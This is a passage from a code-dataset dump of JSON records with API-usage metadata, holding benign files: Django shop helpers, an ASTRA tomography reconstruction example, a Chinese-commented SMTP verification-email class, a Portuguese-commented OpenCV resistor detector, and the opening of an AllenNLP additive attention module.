110, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 111, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 111, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 112, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 112, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 113, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 113, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 114, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 114, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 129, "usage_type": "call"}, {"api_name": "tensorflow.keras.preprocessing.sequence.pad_sequences", "line_number": 134, "usage_type": "call"}, {"api_name": "tensorflow.keras.preprocessing", "line_number": 134, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 134, "usage_type": "name"}, {"api_name": "numpy.argmax", "line_number": 142, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 153, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 182, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 195, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 211, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.bar", "line_number": 229, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 229, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 232, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 232, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 233, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 233, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 234, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 234, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 237, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 237, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 241, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 241, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 244, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 244, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 251, "usage_type": "call"}, {"api_name": "sklearn.metrics.confusion_matrix", "line_number": 254, "usage_type": "call"}, {"api_name": "seaborn.heatmap", "line_number": 257, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 260, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 260, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 261, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 261, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 262, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 262, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 265, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 265, "usage_type": "name"}]}
{"seq_id": "5954626443", "text": "from traceback import print_tb\nfrom store.models import Product, CouponCode, User\nimport random, string\nimport datetime\n\n\ndef getWishlistCount(request):\n    wishlist_product_list = Product.objects.all()\n    wishlist_products = []\n\n    for product in wishlist_product_list:\n        if product.wishlist.filter(id=request.user.id).exists():\n            wishlist_products.append(product)\n    \n    return len(wishlist_products)\n\ndef getCartProducts(request):\n    cart = request.session.get('cart')\n    cart_list = []\n    if cart:\n        ids = list(request.session.get('cart').keys())\n        cart_list = Product.get_products_by_id(ids)\n    else:\n        cart = {}\n    return cart_list\n\n\ndef getWishlist(request):\n    wishlist_product_list = Product.objects.all()\n    wishlist_products = []\n\n    for product in wishlist_product_list:\n        if product.wishlist.filter(id=request.user.id).exists():\n            wishlist_products.append(product)\n    \n    return wishlist_products\n\ndef generateRandom():\n    date = datetime.datetime.now()\n    number = random.randint(1,1000)\n\n    random_number = f'ATX{date.day}{date.month}{date.year}_{date.hour}{date.minute}{date.second}_{number}'\n    return random_number\n\n    \n", "repo_name": "deepeshanandparab/AthletiX-Sports-Shop-Django-REST", "sub_path": "athletixsportsshop/supporting_functions.py", "file_name": "supporting_functions.py", "file_ext": "py", "file_size_in_byte": 1207, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "store.models.Product.objects.all", "line_number": 8, "usage_type": "call"}, {"api_name": "store.models.Product.objects", "line_number": 8, "usage_type": "attribute"}, {"api_name": "store.models.Product", "line_number": 8, "usage_type": "name"}, {"api_name": "store.models.Product.get_products_by_id", "line_number": 22, "usage_type": "call"}, {"api_name": "store.models.Product", "line_number": 22, "usage_type": "name"}, {"api_name": "store.models.Product.objects.all", "line_number": 29, "usage_type": "call"}, {"api_name": "store.models.Product.objects", "line_number": 29, "usage_type": "attribute"}, {"api_name": "store.models.Product", "line_number": 29, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 39, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 39, "usage_type": "attribute"}, {"api_name": "random.randint", "line_number": 40, "usage_type": "call"}]}
{"seq_id": "14717597232", "text": "\nimport astra\nimport numpy as np\n\nvol_geom = astra.create_vol_geom(256, 256)\nproj_geom = astra.create_proj_geom('parallel', 1.0, 384, np.linspace(0,np.pi,180,False))\n\n# As before, create a sinogram from a phantom\nimport scipy.io\nP = scipy.io.loadmat('phantom.mat')['phantom256']\nproj_id = astra.create_projector('cuda',proj_geom,vol_geom)\nsinogram_id, sinogram = astra.create_sino(P, proj_id)\n\nimport pylab\npylab.gray()\npylab.figure(1)\npylab.imshow(P)\npylab.figure(2)\npylab.imshow(sinogram)\n\n# Create a data object for the reconstruction\nrec_id = astra.data2d.create('-vol', vol_geom)\n\n# create configuration\ncfg = astra.astra_dict('FBP_CUDA')\ncfg['ReconstructionDataId'] = rec_id\ncfg['ProjectionDataId'] = sinogram_id\ncfg['option'] = { 'FilterType': 'Ram-Lak' }\n\n# possible values for FilterType:\n# none, ram-lak, shepp-logan, cosine, hamming, hann, tukey, lanczos,\n# triangular, gaussian, barlett-hann, blackman, nuttall, blackman-harris,\n# blackman-nuttall, flat-top, kaiser, parzen\n\n\n# Create and run the algorithm object from the configuration structure\nalg_id = astra.algorithm.create(cfg)\nastra.algorithm.run(alg_id)\n\n# Get the result\nrec = astra.data2d.get(rec_id)\npylab.figure(3)\npylab.imshow(rec)\npylab.show()\n\n# Clean up. Note that GPU memory is tied up in the algorithm object,\n# and main RAM in the data objects.\nastra.algorithm.delete(alg_id)\nastra.data2d.delete(rec_id)\nastra.data2d.delete(sinogram_id)\nastra.projector.delete(proj_id)", "repo_name": "Andreimd02/Visual-Astra", "sub_path": "src/view/teste.py", "file_name": "teste.py", "file_ext": "py", "file_size_in_byte": 1449, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "astra.create_vol_geom", "line_number": 5, "usage_type": "call"}, {"api_name": "astra.create_proj_geom", "line_number": 6, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 6, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 6, "usage_type": "attribute"}, {"api_name": "scipy.io.io.loadmat", "line_number": 10, "usage_type": "call"}, {"api_name": "scipy.io.io", "line_number": 10, "usage_type": "attribute"}, {"api_name": "scipy.io", "line_number": 10, "usage_type": "name"}, {"api_name": "astra.create_projector", "line_number": 11, "usage_type": "call"}, {"api_name": "astra.create_sino", "line_number": 12, "usage_type": "call"}, {"api_name": "pylab.gray", "line_number": 15, "usage_type": "call"}, {"api_name": "pylab.figure", "line_number": 16, "usage_type": "call"}, {"api_name": "pylab.imshow", "line_number": 17, "usage_type": "call"}, {"api_name": "pylab.figure", "line_number": 18, "usage_type": "call"}, {"api_name": "pylab.imshow", "line_number": 19, "usage_type": "call"}, {"api_name": "astra.data2d.create", "line_number": 22, "usage_type": "call"}, {"api_name": "astra.data2d", "line_number": 22, "usage_type": "attribute"}, {"api_name": "astra.astra_dict", "line_number": 25, "usage_type": "call"}, {"api_name": "astra.algorithm.create", "line_number": 37, "usage_type": "call"}, {"api_name": "astra.algorithm", "line_number": 37, "usage_type": "attribute"}, {"api_name": "astra.algorithm.run", "line_number": 38, "usage_type": "call"}, {"api_name": "astra.algorithm", "line_number": 38, "usage_type": "attribute"}, {"api_name": "astra.data2d.get", "line_number": 41, "usage_type": "call"}, {"api_name": "astra.data2d", "line_number": 41, "usage_type": "attribute"}, {"api_name": "pylab.figure", "line_number": 42, "usage_type": "call"}, {"api_name": "pylab.imshow", "line_number": 43, "usage_type": "call"}, {"api_name": "pylab.show", "line_number": 44, "usage_type": "call"}, {"api_name": "astra.algorithm.delete", "line_number": 48, "usage_type": "call"}, {"api_name": "astra.algorithm", "line_number": 48, "usage_type": "attribute"}, {"api_name": "astra.data2d.delete", "line_number": 49, "usage_type": "call"}, {"api_name": "astra.data2d", "line_number": 49, "usage_type": "attribute"}, {"api_name": "astra.data2d.delete", "line_number": 50, "usage_type": "call"}, {"api_name": "astra.data2d", "line_number": 50, "usage_type": "attribute"}, {"api_name": "astra.projector.delete", "line_number": 51, "usage_type": "call"}, {"api_name": "astra.projector", "line_number": 51, "usage_type": "attribute"}]}
{"seq_id": "10102713995", "text": "import smtplib\n# 负责构造文本\nfrom email.mime.text import MIMEText\n# 负责构造图片\nfrom email.mime.multipart import MIMEMultipart\nfrom email.header import Header\n\n\nclass SendEmail:\n    def __init__(self, mail_host, mail_sender, mail_license):\n        self.__mail_host = mail_host\n        self.__mail_sender = mail_sender\n        self.__mail_license = mail_license\n\n    # 邮件发送\n    def send_email(self, email, code):\n        try:\n            # 邮件主题\n            subject_content = '用户注册，邮箱验证！'\n            mm = MIMEMultipart('related')\n            mm['From'] = 'Code<' + self.__mail_sender + '>'\n            mm['To'] = 'receiver<' + email + '>'\n            mm['Subject'] = Header(subject_content, 'utf-8')\n\n            #正文文本\n            body_content = '''尊敬的用户您好！\n            注册验证码为：{}，请在五分钟内完成注册。\n            '''.format(code)\n            message_text = MIMEText(body_content, 'plain', 'utf-8')\n            mm.attach(message_text)\n\n            mail_receiver = [email]\n            # 发送邮件\n            stp = smtplib.SMTP()\n            stp.connect(self.__mail_host, 25)\n            # set_debuglevel(1) 打印SMTP和服务器交互的所有信息\n            # stp.set_debuglevel(1)\n            stp.login(self.__mail_sender, self.__mail_license)\n            stp.sendmail(self.__mail_sender, mail_receiver, mm.as_string())\n            data = {'error': 0, 'reason': '邮件发送成功！'}\n            return data\n        except:\n            data = {'error': 1, 'reason': '邮件发送失败！'}\n            return data\n", "repo_name": "caojp123/zhengjuan", "sub_path": "zhengquan/login_register/send_email_model.py", "file_name": "send_email_model.py", "file_ext": "py", "file_size_in_byte": 1628, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "email.mime.multipart.MIMEMultipart", "line_number": 20, "usage_type": "call"}, {"api_name": "email.mime.text", "line_number": 22, "usage_type": "name"}, {"api_name": "email.header.Header", "line_number": 23, "usage_type": "call"}, {"api_name": "email.mime.text.MIMEText", "line_number": 29, "usage_type": "call"}, {"api_name": "email.mime.text", "line_number": 32, "usage_type": "name"}, {"api_name": "smtplib.SMTP", "line_number": 34, "usage_type": "call"}]}
{"seq_id": "74325876412", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Dec 16 22:41:37 2020\n\n@author: Mailson\n\"\"\"\n\nimport cv2\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\n#Função de controle do Trackbar de controle do limite inferior do algoritmo de Canny\ndef on_trackbar_canny_inf(canny_inf_slider):\n    global canny_inf\n    canny_inf = canny_inf_slider\n\n#Função de controle do Trackbar de controle do limite superior do algoritmo de Canny\ndef on_trackbar_canny_sup(canny_sup_slider):\n    global canny_sup\n    canny_sup = canny_sup_slider\n\n#Função que calcula os pontos da equação da reta sobre uma matriz de pixels\ndef straightEquation(m, step, cnt, angle, point):\n    if angle%90 == 0:\n        if angle == 0:\n            x = point[0] + cnt\n            y = point[1]\n        elif angle == 90:\n            x = point[0]\n            y = point[1] + cnt\n        elif angle == 180:\n            x = point[0] - cnt\n            y = point[1]\n        elif angle == 270:\n            x = point[0]\n            y = point[1] - cnt\n    else:\n        x = step*cnt\n        y = m*x\n        if angle > 0 and angle < 136:\n            x = int(x) + point[0]\n            y = int(y) + point[1]       \n            \n        elif angle > 135 and angle < 316:\n            x = -int(x) + point[0]\n            y = -int(y) + point[1]\n        \n        elif angle > 315 and angle < 360:\n            x = int(x) + point[0]\n            y = int(y) + point[1]\n    \n    return int(x),int(y)\n\n#Função que, partindo de um ponto central, encontra a borda do objeto\n#em uma determinada direção\ndef findEndPoint(angle,center,mat):\n    m = np.tan(np.deg2rad(angle))\n    \n    stop_criteria = int(np.sqrt(2)*max(mat.shape))*2\n    \n    if m > 100:\n        m = 100\n    \n    if abs(m) > 1:\n        step = 1/m\n    elif abs(m) == 0:\n        step = 0.1\n    else:\n        step = 0.1    \n    cnt = 0\n    p = 255\n    pos = (0,0)\n    while p == 255 and cnt < stop_criteria:                \n        x,y = straightEquation(m, step, cnt, angle, center)\n        if y < mat.shape[0] and x < mat.shape[1]:\n            p = mat[y,x]  \n        else:\n            break\n        pos = (x,y)\n        cnt+=1\n    return pos\n\n#Função que retorna todos os pontos de uma reta que liga dois\n#pontos determinados\ndef getLinePoints(begin_point, end_point,mat):\n    points = []\n    points.append(begin_point)\n    if end_point[0] == begin_point[0]:\n        for i in range(min(begin_point[1],end_point[1]),max(begin_point[1],end_point[1])):\n            if end_point[0]+i < mat.shape[0]-1:\n                points.append((end_point[0]+i,end_point[0]))\n            else:\n                return points\n\n    elif end_point[1] == begin_point[1]:\n        for i in range(min(begin_point[0],end_point[0]),max(begin_point[0],end_point[0])):\n            if end_point[0]+i < mat.shape[1]-1:\n                points.append((end_point[1],end_point[0]+i))\n            else:\n                return points\n    else:\n        cnt = 0\n        m = (end_point[1]-begin_point[1])/(end_point[0]-begin_point[0])\n        angle = int(np.rad2deg(np.arctan(m)))\n        if angle < 0:\n            angle = angle + 180\n        dist = 11\n        stop_criteria = int(np.sqrt(2)*max(mat.shape))*30\n\n        if m > 100:\n            m = 100        \n        if abs(m) > 1:\n            step = 1/m\n        elif abs(m) == 0:\n            step = 0.1\n        else:\n            step = 0.1  \n        global c\n        while dist > 2 and cnt < stop_criteria:\n            \n            y,x = straightEquation(m, step, cnt, angle, begin_point)\n            \n            dist = np.sqrt((end_point[0]-y)**2+(end_point[1]-x)**2)\n            \n            if y < mat.shape[1]-1 and x < mat.shape[0]-1:\n                points.append((y,x))\n            else:\n                return points                \n            \n            cnt += 1\n            cv2.circle(mat, (y, x), 1, (255, 0, 0), -1)\n        if cnt == stop_criteria:\n            points = []\n    return points\n\ncaptura = cv2.VideoCapture(0)\n\nif not captura.isOpened():\n    print(\"Erro ao abrir a câmera\")\nelse:\n    captura.set(cv2.CAP_PROP_FRAME_WIDTH, 640)\n    captura.set(cv2.CAP_PROP_FRAME_HEIGHT, 480)\n    width = captura.get(cv2.CAP_PROP_FRAME_WIDTH)\n    height = captura.get(cv2.CAP_PROP_FRAME_HEIGHT)\n    \n    cv2.namedWindow(\"original\",cv2.WINDOW_NORMAL)\n    cv2.namedWindow(\"canny\",cv2.WINDOW_NORMAL)\n    cv2.namedWindow(\"saida\",cv2.WINDOW_NORMAL)\n    \n    canny_inf = 120\n    canny_inf_max = 550\n    canny_inf_slider = 120\n    \n    canny_sup = 170\n    canny_sup_max = 600\n    canny_sup_slider = 170\n    \n    cv2.createTrackbar(\"canny inf\",\"canny\", canny_inf_slider, canny_inf_max, on_trackbar_canny_inf)\n    on_trackbar_canny_inf(canny_inf)\n    \n    cv2.createTrackbar(\"canny sup\",\"canny\", canny_sup_slider, canny_sup_max, on_trackbar_canny_sup)\n    on_trackbar_canny_sup(canny_sup)\n    sub = False   \n    filt = False\n    while(1):\n        ret, img = captura.read()\n        \n        #Remoção das primeiras linhas da imagem que continham textos\n        #com a data e hora da captura\n        img = img[20:img.shape[1],:,:]\n        \n        #Função de remoção do fundo da cena, porém, não funcionou muito bem\n        if sub:\n            background = cv2.imread(\"background.jpg\")\n            img = abs(img-background)\n        \n        #Habilitação do filtro\n        if filt:\n            img = cv2.medianBlur(img,5)\n        \n        #Normalização e conversão da imagem para grayscale\n        norm = np.zeros(img.shape,np.uint8)    \n        norm = cv2.normalize(img, norm, 0, 127, cv2.NORM_MINMAX)        \n        gray = cv2.cvtColor(norm, cv2.COLOR_BGR2GRAY)\n        \n        #Adaptação da imagem para o destaque dos resistores\n        if canny_sup > canny_inf:\n            canny = cv2.Canny(gray, canny_inf, canny_sup)        \n        kernel = np.ones((5,5), np.uint8)                \n        canny_modified = cv2.dilate(canny,kernel, iterations = 3)\n        \n        #Função que encontra os contornos dos resistores\n        contours, hierarchy = cv2.findContours(canny_modified,cv2.RETR_TREE,cv2.CHAIN_APPROX_SIMPLE)\n        \n        #Criação da imagem de saída\n        out = np.copy(img)\n        \n        centers = []\n        \n        #Processo para encontrar os centroides\n        cnt1 = 1\n        for c in contours:\n            if len(c) > 100: #Limitar para descartar contornos pequenos que não são resistores\n                M = cv2.moments(c)\n                cX = int(M[\"m10\"] / M[\"m00\"])\n                cY = int(M[\"m01\"] / M[\"m00\"])\n                centers.append([cX,cY])\n                cv2.circle(out, (cX, cY), 5, (255, 0, 0), -1)\n                cv2.putText(out, \"Resistor \" + str(cnt1), (centers[-1][0] - 25, centers[-1][1] - 25),\\\n                            cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 255), 2)\n                cnt1 += 1\n        \n        #Análise dos centros para encontrar o eixo\n        if len(centers) > 0:\n            #Listas que irão armazenar as componentes de cores que passam pelo\n            #eixo de todos os resistores\n            red = []\n            green = []\n            blue = []\n            for c in range(len(centers)):\n                #Listas que irão armazenar os pontos finais das retas \n                r1 = []\n                r2 = []\n                r3 = []\n                r4 = []\n                \n                #Passo do ângulo das retas\n                angle_step = 5\n                angles = np.arange(0,90,3)\n                \n                #Método para encontrar os pontos finais das retas para todos\n                #os ângulos de acordo com o passo determinado\n                for ang in angles:\n                    r1.append(findEndPoint(ang, centers[c], canny_modified))\n                    r2.append(findEndPoint(ang+90, centers[c], canny_modified))\n                    r3.append(findEndPoint(ang+180, centers[c], canny_modified))\n                    r4.append(findEndPoint(ang+270, centers[c], canny_modified))                    \n                \n                #Listas que irão armazenar a largura e o comprimento encontrados\n                #dos resistores de acordo com as retas\n                w = []\n                l = []\n                \n                #Cálculo da distância euclidiana entre os pontos finais das retas\n                #encontradas e o centroide do resistor\n                \n                #Os comprimentos das retas que são defasadas 180° (mesma orientação)\n                #são somados e acrescentados na lista\n                for i in range(len(r3)):\n                    l1 = np.sqrt((centers[c][0]-r1[i][0])**2+(centers[c][1]-r1[i][1])**2)\n                    l2 = np.sqrt((centers[c][0]-r2[i][0])**2+(centers[c][1]-r2[i][1])**2)\n                    l3 = np.sqrt((centers[c][0]-r3[i][0])**2+(centers[c][1]-r3[i][1])**2)\n                    l4 = np.sqrt((centers[c][0]-r4[i][0])**2+(centers[c][1]-r4[i][1])**2)                    \n                    w.append(l1+l3)\n                    l.append(l2+l3)\n                \n                #Verificação da medida mais longa, indicando a orientação do \n                #eix principal e os pontos final e inicial da reta do eixo\n                if len(np.where(max((max(w),max(l))) == w)[0]) != 0:\n                    i = np.where(max((max(w),max(l))) == w)[0][0]\n                    begin_point = r3[i]\n                    end_point = r1[i]\n                elif len(np.where(max((max(w),max(l))) == l)[0]) != 0:\n                    i = np.where(max((max(w),max(l))) == l)[0][0]\n                    begin_point = r4[i]\n                    end_point = r2[i]\n                \n                orientation = angles[i]\n                \n                #Exibição do ponto final e inicial da reta na imagem\n                cv2.circle(out, begin_point, 5, (255, 0, 0), -1)\n                cv2.circle(out, end_point, 5, (0, 0, 255), -1)\n                \n                '''cv2.line(canny,(centers[c][0],centers[c][1]), (r1[i][0],r1[i][1]), (255,255,255), 1)\n                cv2.line(canny,(centers[c][0],centers[c][1]), (r2[i][0],r2[i][1]), (255,255,255), 1)\n                cv2.line(canny,(centers[c][0],centers[c][1]), (r3[i][0],r3[i][1]), (255,255,255), 1)\n                cv2.line(canny,(centers[c][0],centers[c][1]), (r4[i][0],r4[i][1]), (255,255,255), 1)'''\n                \n                #Pontos da reta que conecta o ponto final e o inicial\n                pontos = getLinePoints(begin_point, end_point,out)\n                r = np.zeros(len(pontos))\n                g = np.zeros(len(pontos))\n                b = np.zeros(len(pontos))\n                \n                #Obtenção das cores nos pontos da reta\n                for i in range(len(r)):\n                    r[i] = img[pontos[i][1],pontos[i][0],2]\n                    g[i] = img[pontos[i][1],pontos[i][0],1]\n                    b[i] = img[pontos[i][1],pontos[i][0],0]\n                \n                red.append(r)\n                green.append(g)\n                blue.append(b)\n                \n\n            '''cv2.line(out, r1[i], r2[i], (0,255,0), 2)\n            cv2.line(out,r2[i], r3[i], (0,255,0), 2)\n            cv2.line(out,r3[i], r4[i], (0,255,0), 2)\n            cv2.line(out,r4[i], r1[i], (0,255,0), 2)'''\n            \n        #Exibição das imagens\n        cv2.imshow(\"original\", img)\n        cv2.imshow(\"canny\", canny_modified)\n        cv2.imshow(\"saida\", out)\n        \n        #Funções do teclado\n        k = chr(cv2.waitKey(10) & 0xff)\n        if ord(k) == 27:\n            cv2.destroyAllWindows()\n            plt.close('all')\n            break\n        elif k == 'b':\n            cv2.imwrite(\"./background.jpg\",img)\n        elif k == 's':\n            sub = not sub\n        elif k == 'f':\n            filt = not filt\n\n#Função para plotar as cores do eixo principal. Recebe como parâmetro as lista\n#das componentes de cores no eixo e o índice indicando qual resistor da cena\n#deve ser exibido. Além disso, indica-se o número da figura para que se possa\n#ter múltiplas janelas de gráficos\ndef plotRGB(red,green,blue,index,fignum):\n    plt.figure(fignum,[15,15])\n    plt.subplot(311)\n    plt.plot(red[index], color = \"red\")\n    plt.title(\"Componente R do eixo\")\n    \n    plt.subplot(312)\n    plt.plot(green[index], color = \"green\")\n    plt.title(\"Componente G do eixo\")\n    \n    plt.subplot(313)\n    plt.plot(blue[index], color = \"blue\")\n    plt.title(\"Componente B do eixo\")\n\n", "repo_name": "MailsonRodrigues/digital_image_processing", "sub_path": "projects/eixo_resistor/detector_resistores.py", "file_name": "detector_resistores.py", "file_ext": "py", "file_size_in_byte": 12361, "program_lang": "python", "lang": "pt", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.tan", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.deg2rad", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.rad2deg", "line_number": 104, "usage_type": "call"}, {"api_name": "numpy.arctan", "line_number": 104, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 108, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 123, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 131, "usage_type": "call"}, {"api_name": "cv2.VideoCapture", "line_number": 136, "usage_type": "call"}, {"api_name": "cv2.CAP_PROP_FRAME_WIDTH", "line_number": 141, "usage_type": "attribute"}, {"api_name": "cv2.CAP_PROP_FRAME_HEIGHT", "line_number": 142, "usage_type": "attribute"}, {"api_name": "cv2.CAP_PROP_FRAME_WIDTH", "line_number": 143, "usage_type": "attribute"}, {"api_name": "cv2.CAP_PROP_FRAME_HEIGHT", "line_number": 144, "usage_type": "attribute"}, {"api_name": "cv2.namedWindow", "line_number": 146, "usage_type": "call"}, {"api_name": "cv2.WINDOW_NORMAL", "line_number": 146, "usage_type": "attribute"}, {"api_name": "cv2.namedWindow", "line_number": 147, "usage_type": "call"}, {"api_name": "cv2.WINDOW_NORMAL", "line_number": 147, "usage_type": "attribute"}, {"api_name": "cv2.namedWindow", "line_number": 148, "usage_type": "call"}, {"api_name": "cv2.WINDOW_NORMAL", "line_number": 148, "usage_type": "attribute"}, {"api_name": "cv2.createTrackbar", "line_number": 158, "usage_type": "call"}, {"api_name": "cv2.createTrackbar", "line_number": 161, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 174, "usage_type": "call"}, {"api_name": "cv2.medianBlur", "line_number": 179, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 182, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 182, "usage_type": "attribute"}, {"api_name": "cv2.normalize", "line_number": 183, "usage_type": "call"}, {"api_name": "cv2.NORM_MINMAX", "line_number": 183, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 184, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 184, "usage_type": "attribute"}, {"api_name": "cv2.Canny", "line_number": 188, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 189, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 189, "usage_type": "attribute"}, {"api_name": "cv2.dilate", "line_number": 190, "usage_type": "call"}, {"api_name": "cv2.findContours", "line_number": 193, "usage_type": "call"}, {"api_name": "cv2.RETR_TREE", "line_number": 193, "usage_type": "attribute"}, {"api_name": "cv2.CHAIN_APPROX_SIMPLE", "line_number": 193, "usage_type": "attribute"}, {"api_name": "numpy.copy", "line_number": 196, "usage_type": "call"}, {"api_name": "cv2.moments", "line_number": 204, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 208, "usage_type": "call"}, {"api_name": "cv2.putText", "line_number": 209, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_SIMPLEX", "line_number": 210, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 229, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 250, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 251, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 252, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 253, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 259, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 260, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 263, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 264, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 271, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 272, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 281, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 282, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 283, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 302, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 303, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 304, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 307, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 309, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.close", "line_number": 310, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 310, "usage_type": "name"}, {"api_name": "cv2.imwrite", "line_number": 313, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 324, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 324, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 325, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 325, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 326, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 326, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 327, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 327, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 329, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 329, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 330, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 330, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 331, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 331, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 333, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 333, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 334, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 334, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 335, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 335, "usage_type": "name"}]}
{"seq_id": "3012915031", "text": "import torch\nfrom torch.nn.parameter import Parameter\n\nfrom allennlp.modules.attention.attention import Attention\n\n\n@Attention.register(\"additive\")\nclass AdditiveAttention(Attention):\n    \"\"\"\n    Computes attention between a vector and a matrix using an additive attention function.  This\n    function has two matrices `W`, `U` and a vector `V`. The similarity between the vector\n    `x` and the matrix `y` is computed as `V tanh(Wx + Uy)`.\n\n    This attention is often referred as concat or additive attention. It was introduced in\n    [Neural Machine Translation by Jointly Learning to Align and Translate (Bahdanau et al, 2015)]\n    (https://api.semanticscholar.org/CorpusID:11212020).\n\n    Registered as an `Attention` with name \"additive\".\n\n    # Parameters\n\n    vector_dim : `int`, required\n        The dimension of the vector, `x`, described above.  This is `x.size()[-1]` - the length\n        of the vector that will go into the similarity computation.  We need this so we can build\n        the weight 